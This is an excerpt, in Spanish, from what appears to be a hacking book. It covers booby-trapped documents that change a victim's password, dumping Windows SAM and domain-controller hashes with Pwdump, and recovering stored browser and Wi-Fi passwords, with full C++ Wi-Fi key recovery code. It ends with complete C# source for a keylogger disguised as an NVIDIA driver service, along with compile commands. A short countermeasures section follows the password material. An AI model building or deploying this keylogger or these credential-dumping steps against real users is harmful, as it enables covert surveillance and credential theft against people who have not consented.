Fragmento de Hacking

Embed Size (px)

DESCRIPTION

FRAGMENTO DE HACKING

Citation preview

Cmo extraer una contrasea en un equipo o un controlador de dominioEste captulo nos permitir demostrar que es posible cambiar la contrasea de un usuario sin tener conocimiento de la antigua contrasea, extraer las contraseas guardadas en un equipo local o un controlador de domino. Es tambin posible escuchar las conversaciones de red para recuperar las informaciones de autenticacin sin necesidad de acceder directamente al sistema o descifrar una contrasea interceptada aunque est protegida.Vamos a empezar por modificar la contrasea de un usuario sin saber la antigua. A decir verdad, es el usuario quien la va a cambiar. Para ello, vamos a encapsular el siguiente script con una de las tcnicas vistas en el captulo anterior, es decir, entregar a nuestra vctima un documento, una aplicacin o un zip trampa con un pequeo trozo de cdigo.Aqu tiene el script si va a modificar una aplicacin o un controlador.

Aqu, la lnea de cdigo si modifica un documento de Office:

El resto de los pasos han sido explicados en el captulo anterior, que puede tomar como referencia. Una vez el documento o la aplicacin ejecutada, la contrasea del usuario se cambiar en el dominio. Si la contrasea local debe modificarse, quite /Domain al final de la lnea de comandos.1. Herramientas de extraccin de contraseas de sesina. La SAM en detalleLas contraseas estn encriptadas y guardadas en un sitio adonde no se puede acceder directamente con cuentas de usuarios o de administradores. Solo la cuenta de sistema tiene permiso para buscar informacin all. Este sitio es la SAM (Security Account Management) para las cuentas locales y el Active Directory para los usuarios del dominio. En las versiones de Windows anteriores a Vista, la contrasea se guardaba en LanManager, un sistema muy dbil. Desde Vista, el sistema guarda un hash de la contrasea usando MD4.Al abrir una sesin local, la contrasea que el usuario teclea en la ventana de inicio de sesin es resumida y comparada con la que se encuentra guardada en la SAM. En ningn momento la contrasea se encuentra en texto plano.Pero realmente qu es la SAM? Dnde se almacena? Cmo se puede acceder a ella?La SAM es un fichero de registro que sirve para almacenar las contraseas, as como otras informaciones de los usuarios locales: %systemroot%\system32\config\SAMEl fichero forma parte, como otros ficheros del registro del equipo, de una carpeta de sistema.

Offline, arrancando con un medio oficial de Windows, es posible leer el fichero SAM o robarlo para crackearlo ms tarde. Puede acceder tambin con los permisos de sistema creando un servicio o adquiriendo los privilegios de sistema en el PC. Entonces puede leer la parte del registro que guarda estas contraseas con regedit en su equipo actual. Para obtener los permisos de sistema en un equipo, vaya al captulo Tomar el rol de administrador o de sistema.Seguidamente, puede ver un ejemplo sobre un sistema sin necesidad de reinicio usando los privilegios de sistema:

Encontrar datos como las contraseas cifradas y las informaciones sobre los grupos de seguridad en el registro: SAM\SAM\Domains\Account\UsersGracias a los permisos de sistema, puede ver elementos que normalmente no puede ver un usuario, como por ejemplo, en la imagen siguiente, para el usuario Admin, el valor 0x3e8, que corresponde a su RID, es decir, 1006 en decimal.

La contrasea, as como otras informaciones para Admin, se encuentran en la clave de registro: HKLM\SAM\SAM\Domains\Account\Users\000003E8La clave V, llamada V-Block, almacena la contrasea del usuario, as como informaciones sobre su perfil.

Este bloque contiene el hash de la contrasea, pero el contenido se encuentra cifrado en DES y usa dos claves derivadas del RID del usuario para protegerlo.

La cuenta de sistema tiene acceso a las contraseas en forma de resumen. Si desea extraerlas automticamente, tendr que crear una aplicacin, como un servicio, que pueda obtener estos permisos.b. Extraer las contraseas de la SAMPara extraer las contraseas, vamos a utilizar una herramienta. Encontrar en Internet la herramienta Pwdump, que extraer los datos del registro. Solo nos quedar descifrarlas.Ejecutar la herramienta con privilegios elevados no es suficiente. Se debe ejecutar con la cuenta de sistema. De lo contrario, obtendr el siguiente mensaje:

Arranque Pwdump en su versin 6 con la cuenta de sistema y los parmetros siguientes:PwDump.exe -x localhost > pass.txtEl fichero pass.txt contiene ahora todos los hash MD4 de las contraseas.El resultado de la extraccin se parece al listado siguiente:admin:1006:00000000000000000000000000000000:61feeb455de86806b42b88f55f2d569d:::Obtenemos as el nombre de usuario, su RID, la contrasea en LM que desde Vista no se almacena y por fin la contrasea en NTML. La parte que nos interesa es la ltima: 61feeb455de86806b42b88f55f2d569dUsaremos esta informacin cuando intentemos averiguar la contrasea.c. Extraer las contraseas de un controlador de dominioEn una empresa, el hash de las contraseas se almacena en el Active Directory, precisamente en la base de datos NTDS.dit. Los atributos Unicodepwd y User-Password parecen contener estas informaciones. Pero es imposible obtener una respuesta del controlador de dominio, incluso con herramientas como Adsedit o ldp. Para buscar estos campos, debe leer directamente el fichero NTDS.dit. Este fichero es una base de datos del mismo tipo que Exchange o que la indexacin de ficheros en Windows Vista. Utiliza un motor ESE (Extensible Storage Engine). La clave de cifrado para el acceso a ciertas tablas que contienen las contraseas es la misma para todos los controladores de dominio. La clave de sistema (SYSKEY) protege la clave de cifrado de las contraseas en cada mquina. Los que desean ir ms all en este asunto, encontrarn informacin en las direcciones siguientes: http://code.google.com/p/libesedb/downloads/list y http://www.nirsoft.net/utils/ese_database_view.htmlPara hacerlo ms sencillo, vamos a utilizar en un controlador de dominio la herramienta que ya hemos usado: Pwdump en su versin 6.Ejectela directamente en el DC como usuario sistema.Pwdump -x LocalhostLa herramienta consigue los hashes de las contraseas de todos los usuarios del dominio.

Pwdump puede usarse remotamente si el servidor no tiene activado el firewall local, pero s los servicios de gestin remota.pwdump -o passwd.txt -u Dominio\Usuario -p contrasea NombrePCExisten otras herramientas para la lnea de comandos, como SAMDump, cuyo principio de uso es parecido al ya descrito. En resumen, es posible extraer el hash de la contrasea de un usuario, ya sea este local o en un dominio. Se debe tener para eso privilegios de sistema en el equipo que lo almacena. Encontrar otras herramientas en el captulo Desarrollar sus propias herramientas de hacking - Romper una contrasea.

Los que desean crear sus propias herramientas de extraccin de contraseas, encontrarn fcilmente en Internet las fuentes de la herramienta Pwdump escrita en C.2. Herramientas de extraccin de otras contraseasUn puesto de trabajo puede almacenar numerosas informaciones interesantes para un pirata, como un nombre de usuario y una contrasea para la apertura de un sitio compartido, de un sitio web, de una cuenta de correo electrnico, de una red Wifi.Las contraseas de aplicaciones se guardan generalmente en el registro del usuario, en texto plano, en hexadecimal, en binario o con un cifrado reversible. Las contraseas se encuentran en un momento u otro en texto plano en la memoria; es una de las maneras empleadas por los programas para leerlas.a. Analizar el funcionamiento de una aplicacinLa contrasea se encuentra raramente en texto plano en el registro. Esto depende fundamentalmente del software que la almacena. En el caso de una contrasea cifrada, la clave de descifrado se encuentra tambin en el sistema. Encontrar una contrasea es un poco como jugar al perro y al gato entre el lugar y la manera donde se almacenan la clave de cifrado y la contrasea del software.Por lo tanto, vamos a ver cmo encontrar dnde se almacenan las contraseas y, eventualmente, las claves de cifrado.Para ello, usaremos una herramienta de Microsoft que en origen fue escrita por Mark Russinovich y Bryce Cogswell para Sysinternals. Se trata de ProcessMon.exe, que representa una mezcla de RegMon, NetMon y FileMon y que permite vigilar el acceso de una aplicacin a un fichero o a una clave de registro y el acceso a la red. Process Monitor se puede descargar en el sitio web de Microsoft: http://technet.microsoft.com/en-us/sysinternals/bb896645.aspxVamos a tomar el ejemplo de las contraseas que Internet Explorer guarda al almacenar las informaciones de los campos de un formulario web. La carpeta de almacenamiento depende de la versin de IE.

Al almacenar o leer una contrasea en IE, podemos observar la lectura/escritura de los valores de las claves siguientes:

Antes del almacenamiento de una contrasea, el registro se parece a lo siguiente:

Justo despus, se aade la subclave Storage2 con una entrada binaria.

El GUID del equipo tambin es ledo justo antes que la clave anterior en el cifrado o descifrado de la contrasea. Es normal, ya que el GUID se usa al realizar estas operaciones de cifrado, as como la URL.

Desde IE7 hasta IE9, el navegador guarda las contraseas en: HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2IE10 utiliza el Credential Manager para recordar sus contraseas en un fichero que se encuentra en el directorio: C:\Users\[NombreUsuario]\AppData\Roaming\Microsoft\Credentials

Este tipo de anlisis permite comprender el modo de funcionamiento y el proceso de cifrado y almacenamiento, pero no nos da el algoritmo utilizado. Para esto hay que buscar o descompilar la aplicacin, lo que se aleja del objetivo de esta obra.b. Recuperar la contrasea de una conexin inalmbrica guardada en el PCCon la misma herramienta de monitoreo, podemos encontrar dnde se almacenan las contraseas de las conexiones inalmbricas en un PC. Extraer estas informaciones de un equipo objetivo podra permitir a un atacante conectarse a su red privada o a la de la empresa. Estas informaciones se almacenan con el SSID y el tipo de cifrado utilizado: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\El directorio Interface contiene un subdirectorio por cada tarjeta de red Wifi.

Las informaciones de las claves se almacenan en un fichero XML con un nombre aleatorio. Para comprender mejor el funcionamiento del guardado de estas claves, vamos a crear una nueva conexin segura y buscaremos la contrasea.Cree una nueva conexin de red inalmbrica desde el Panel de control.

Escriba un nombre y una contrasea para esta conexin.

La nueva conexin se ha guardado y se ha cifrado la contrasea.

c. Crear una herramienta de recuperacin de una conexin inalmbricaVamos a crear una herramienta para descifrar y recuperar la contrasea de una conexin inalmbrica. El fichero que guarda la clave contiene un valor cifrado llamado keyMaterial. Para descifrar este valor, es posible usar las API de wlanapi.dll con WlanGetProfile o CryptUnprotectData de Crypt32.dll.Encontrar informacin sobre el valor keyMaterial aqu: http://msdn.microsoft.com/en-us/library/ms706987(VS.85).aspxPara compilar el cdigo propuesto, puede descargar y utilizar Visual Studio2013 Express para Windows Desktop en el sitio web de Microsoft: http://www.visualstudio.com/products/visual-studio-express-vsEl cdigo que va a escribir est en parte inspirado por el cdigo de ejemplo, facilitado por Microsoft, sobre el uso de la funcin WlanGetProfile. Encontrar el ejemplo en el sitio web de Microsoft en el enlace siguiente: http://msdn.microsoft.com/en-us/library/windows/desktop/ms706738(v=vs.85).aspxEscriba el siguiente cdigo en un editor de texto o en Visual Studio Express(C++).#ifndef UNICODE#define UNICODE#endif#include #include #include #include #include #include // Need to link with Wlanapi.lib and Ole32.lib#pragma comment(lib, "wlanapi.lib")#pragma comment(lib, "ole32.lib")int _cdecl wmain(int argc, WCHAR **argv){ HANDLE hClient = NULL; DWORD dwMaxClient = 2; // DWORD dwCurVersion = 0; DWORD dwResult = 0; DWORD dwRetVal = 0; int iRet = 0; WCHAR GuidString[39] = {0}; unsigned int i; PWLAN_INTERFACE_INFO_LIST pIfList = NULL; PWLAN_INTERFACE_INFO pIfInfo = NULL; LPCWSTR pProfileName = NULL; LPWSTR pProfileXml = NULL; DWORD dwFlags = WLAN_PROFILE_GET_PLAINTEXT_KEY; DWORD dwGrantedAccess = 0; if (argc < 2) { wprintf(L"usage: %s \n", argv[0]); wprintf(L" Gets a wireless profile\n"); wprintf(L" Example\n"); wprintf(L" %s \"Default Wireless\"\n", argv[0]); exit(1); } pProfileName = argv[1]; wprintf(L"Information for profile: %ws\n\n", pProfileName); dwResult = WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient); if (dwResult != ERROR_SUCCESS) { wprintf(L"WlanOpenHandle failed with error: %u\n", dwResult); return 1; } dwResult = WlanEnumInterfaces(hClient, NULL, &pIfList); if (dwResult != ERROR_SUCCESS) { wprintf(L"WlanEnumInterfaces failed with error: %u\n", dwResult); return 1; // You can use FormatMessage here to find out why the function failed } else { wprintf(L"WLAN_INTERFACE_INFO_LIST for this system\n"); wprintf(L"Num Entries: %lu\n", pIfList->dwNumberOfItems); wprintf(L"Current Index: %lu\n\n", pIfList->dwIndex); for (i = 0; i < (int) pIfList->dwNumberOfItems; i++) { pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i]; wprintf(L" Interface Index[%u]:\t %lu\n", i, i); iRet = StringFromGUID2(pIfInfo->InterfaceGuid, (LPOLESTR) &GuidString, sizeof(GuidString)/sizeof(*GuidString)); // For c rather than C++ source code, the above line needs to be // iRet = StringFromGUID2(&pIfInfo->InterfaceGuid, (LPOLESTR) &GuidString, // sizeof(GuidString)/sizeof(*GuidString)); if (iRet == 0) wprintf(L"StringFromGUID2 failed\n"); else { wprintf(L" InterfaceGUID[%d]: %ws\n",i, GuidString); } wprintf(L" Interface Description[%d]: %ws", i, pIfInfo->strInterfaceDescription); wprintf(L"\n"); wprintf(L" Interface State[%d]:\t ", i); switch (pIfInfo->isState) { case wlan_interface_state_not_ready: wprintf(L"Not ready\n"); break; case wlan_interface_state_connected: wprintf(L"Connected\n"); break; case wlan_interface_state_ad_hoc_network_formed: wprintf(L"First node in a ad hoc network\n"); break; case wlan_interface_state_disconnecting: wprintf(L"Disconnecting\n"); break; case wlan_interface_state_disconnected: wprintf(L"Not connected\n"); break; case wlan_interface_state_associating: wprintf(L"Attempting to associate with a network\n"); break; case wlan_interface_state_discovering: wprintf(L"Auto configuration is discovering settings for the network\n"); break; case wlan_interface_state_authenticating: wprintf(L"In process of authenticating\n"); break; default: wprintf(L"Unknown state %ld\n", pIfInfo->isState); break; } wprintf(L"\n\n"); dwResult = WlanGetProfile(hClient, &pIfInfo->InterfaceGuid, pProfileName, NULL, &pProfileXml, &dwFlags, &dwGrantedAccess); if (dwResult != ERROR_SUCCESS) { wprintf(L"WlanGetProfile failed with error: %u\n", dwResult); // You can use FormatMessage to find out why the function failed } else { wprintf(L" Profile Name: %ws\n", pProfileName); wprintf(L" Profile XML string:\n"); wprintf(L"%ws\n\n", pProfileXml); wprintf(L" dwFlags:\t 0x%x", dwFlags);// if (dwFlags & WLAN_PROFILE_GET_PLAINTEXT_KEY)// wprintf(L" Get Plain Text Key"); if (dwFlags & WLAN_PROFILE_GROUP_POLICY) wprintf(L" Group Policy"); if (dwFlags & WLAN_PROFILE_USER) wprintf(L" Per User Profile"); wprintf(L"\n"); wprintf(L" dwGrantedAccess: 0x%x", dwGrantedAccess); if (dwGrantedAccess & WLAN_READ_ACCESS) wprintf(L" Read access"); if (dwGrantedAccess & WLAN_EXECUTE_ACCESS) wprintf(L" Execute access"); if (dwGrantedAccess & WLAN_WRITE_ACCESS) wprintf(L" Write access"); wprintf(L"\n"); wprintf(L"\n"); } } } if (pProfileXml != NULL) { WlanFreeMemory(pProfileXml); pProfileXml = NULL; } if (pIfList != NULL) { WlanFreeMemory(pIfList); pIfList = NULL; } return dwRetVal;}Una vez el cdigo compilado, puede usar el programa con objeto de recuperar una contrasea guardada para una red inalmbrica determinada.Ejecute su programa con privilegios elevados indicando como parmetro el SSID de la red Wifi.

Preste atencin a las maysculas y minsculas, ya que son importantes.El resultado se presenta en pantalla en el valor keyMaterial.

El cdigo completo, as como una versin compilada de la herramienta, se pueden descargar desde la pgina Informacin.d. Otras herramientasVamos a desarrollar herramientas para recuperar las contraseas de cada aplicacin, aunque existen una multitud de herramientas gratuitas descargables.Adems, la mayora de estas herramientas se puede obtener con script, lo que permite una eventual comunicacin con su aplicacin.Por ejemplo, en el sitio web http://www.nirsoft.net/ encontrar herramientas que permiten recuperar las contraseas almacenadas desde las versiones IE7 hasta IE9.

Una herramienta que permite recuperar la contrasea del Wifi (como la que acabamos de desarrollar):

Recuperar las contraseas de red:

Una contrasea almacenada en un fichero RDP:

Securityxploded.com es otro sitio web que propone un conjunto de herramientas que permiten recuperar una contrasea perdida, como PDF Password Recovery:

Outlook Password Decryptor permite obtener informaciones interesantes sobre las cuentas de correo electrnico almacenadas. En el entorno de las pymes, no es raro disponer de cuentas de correo electrnico POP o IMAP.

Word Password Recovery permite encontrar las contraseas de los documentos de Word protegidos:

La mayora de estas herramientas se pueden usar en lnea de comandos y por lo tanto pueden incorporarse en un script. Esto significa que pueden integrarse en un programa pirata, como hemos visto en los captulos anteriores.Este programa, usado para recuperar informaciones guardadas por Safari, lo demuestra.

3. ContramedidasPara impedir la extraccin de las contraseas, en primer lugar debe evitar que los usuarios puedan convertirse en administradores de un equipo o del dominio. Solo as conseguir reducir las fugas de informacin. Debe instalar un antivirus eficaz y actualizarlo diariamente para que detecte productos como Pwdump y los dems programas de extraccin de contraseas. A nivel de procedimiento, configure distintas cuentas de usuario para la administracin de los equipos, de los servidores y de los controladores de dominio. Para cada usuario con necesidad de permisos de administracin, cree una cuenta de usuario diferente segn el rol con objeto de cumplir el principio del mnimo privilegio.Por ejemplo, para el usuario Bob: Cree una cuenta Bob para el uso habitual como el correo electrnico, los documentos, la navegacin web, etc. Cree una cuenta ADM_SRV_Bob para la administracin de servidores. Cree una cuenta ADM_AD_Bob para la administracin de Active Direc-tory. Cree una cuenta ADM_PC_Bob para la administracin de los PC.Esto reducir la gravedad de un ataque si una de las cuentas es hackeada por un programa maligno.Condiciones generales de uso

Crear un keyloggerExisten numerosos keyloggers. La mayora de ellos usan un sistema muy conocido, el mtodo SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es tambin lo primero que miran los sistemas de seguridad para impedir la captura del teclado.Encontrar ms informacin sobre el mtodo SetWindowsHookEx en el sitio web de Microsoft, en la siguiente direccin: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspxVamos a usar una tcnica diferente para ser ms discretos. Nuestro programa ir pidiendo regularmente las teclas en vez de suscribirse a los eventos de teclado. El cdigo que presentamos gestiona la tecla pulsada pero no si esta se escribe en maysculas, es decir si [Alt] o [Mays] son pulsadas al mismo tiempo.1. Principios bsicosPara esconder un poco ms la aplicacin en el administrador de tareas, vamos a darle un nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicacin.El nombre dado se parece al de un servicio de driver.using System.Reflection;[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")][assembly:AssemblyVersion("7.17.13.697")][assembly:AssemblyDescription("Driver Helper Service, Version 302.57")][assembly:AssemblyCompany("Global Corporation. All rights reserved.")]Usaremos en .NET User32.dll, que nos permitir buscar las informaciones tecleadas con toda discrecin. La funcin DllImport va a permitirnos cargar esta DLL.[DllImport("User32.dll")] private static extern int GetAsyncKeyState (long vKey);[DllImport("user32.dll")]static extern uint MapVirtualKey(uint uCode, uint uMapType);Esta vez crearemos una aplicacin que no se mostrar al usuario. Es una aplicacin de tipo Windows. No cargaremos el Form principal en el programa. Configuraremos asimismo las propiedades de la aplicacin para que no aparezca en la parte clsica del administrador de tareas.f1.Name = "NVIDIA Driver Helper Service";f1.ShowInTaskbar = false;f1.Hide();Application.Run();Todas estas particularidades permitirn que nuestra aplicacin sea discreta y eficaz. Le quedar aadir la aplicacin al arranque, como hemos visto en el captulo anterior.2. Crear la aplicacinCree un nuevo fichero de texto llamado Driver.txt y aada el siguiente cdigo:using System;using System.Collections.Generic;using System.Text;using System.Windows.Forms;using System.Runtime.InteropServices;using System.IO;using System.Threading;using System.Reflection; [assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] [assembly:AssemblyVersion("7.17.13.697")] [assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] [assembly:AssemblyCompany("Global Corporation. All rights reserved.")]namespace keyLogger{ class Program { [DllImport("User32.dll")] private static extern int GetAsyncKeyState (long vKey); [DllImport("user32.dll")] static extern uint MapVirtualKey(uint uCode, uint uMapType); static StreamWriter fichero; static string rutaFichero = @"c:\temp\logkey.txt"; static Form f1 = new Form(); static void Main(string[] args) { f1.Name = "NVIDIA Driver Helper Service"; f1.ShowInTaskbar = false; f1.Hide(); f1.WindowState = FormWindowState.Minimized; System.Timers.Timer minutero1 = new System.Timers.Timer(); minutero1.Enabled = true; minutero1.Interval = 1; minutero1.Elapsed += minutero1_action; Thread th = new Thread(minutero1.Start); th.Start(); fichero = new StreamWriter(rutaFichero, true); fichero.WriteLine(DateTime.Today.ToLongDateString() +Environment.NewLine); Application.Run(); } static void minutero1_action(object sender, System.Timers.ElapsedEventArgs e) { int respuesta = -1; for (uint i = 0; i < 256; i++) { respuesta = GetAsyncKeyState(i); if (respuesta == -32767) escribirLog(i); } } static private void escribirLog(uint letra) { uint codigo = 0; codigo = MapVirtualKey(letra, 2); string texto = ((char)(codigo)).ToString(); fichero.Write(texto); fichero.Flush(); } }}3. Compilar la aplicacinEsta vez, nuestra aplicacin es una aplicacin Windows Forms invisible. El tipo de destino debe ser winexe.Vaya al directorio del framework 2 o 4 y ejecute el comando de compilacin. A continuacin le recordamos el comando para el Framework 2:cd C:\Windows\Microsoft.NET\Framework\v2.0.50727csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txtUna vez arrancada la aplicacin, esta no se presenta al usuario ni tampoco en la parte clsica del administrador de tareas.

La encontraremos en el detalle de la tarea con las propiedades aadidas al fichero.

Queda muy discreto y el log se llena en cada tecla pulsada.Puede crear un fichero de log en una carpeta compartida de red, en vez de crearlo en el equipo local; reflexione sobre ello.Condiciones generales de uso Copyright - Editions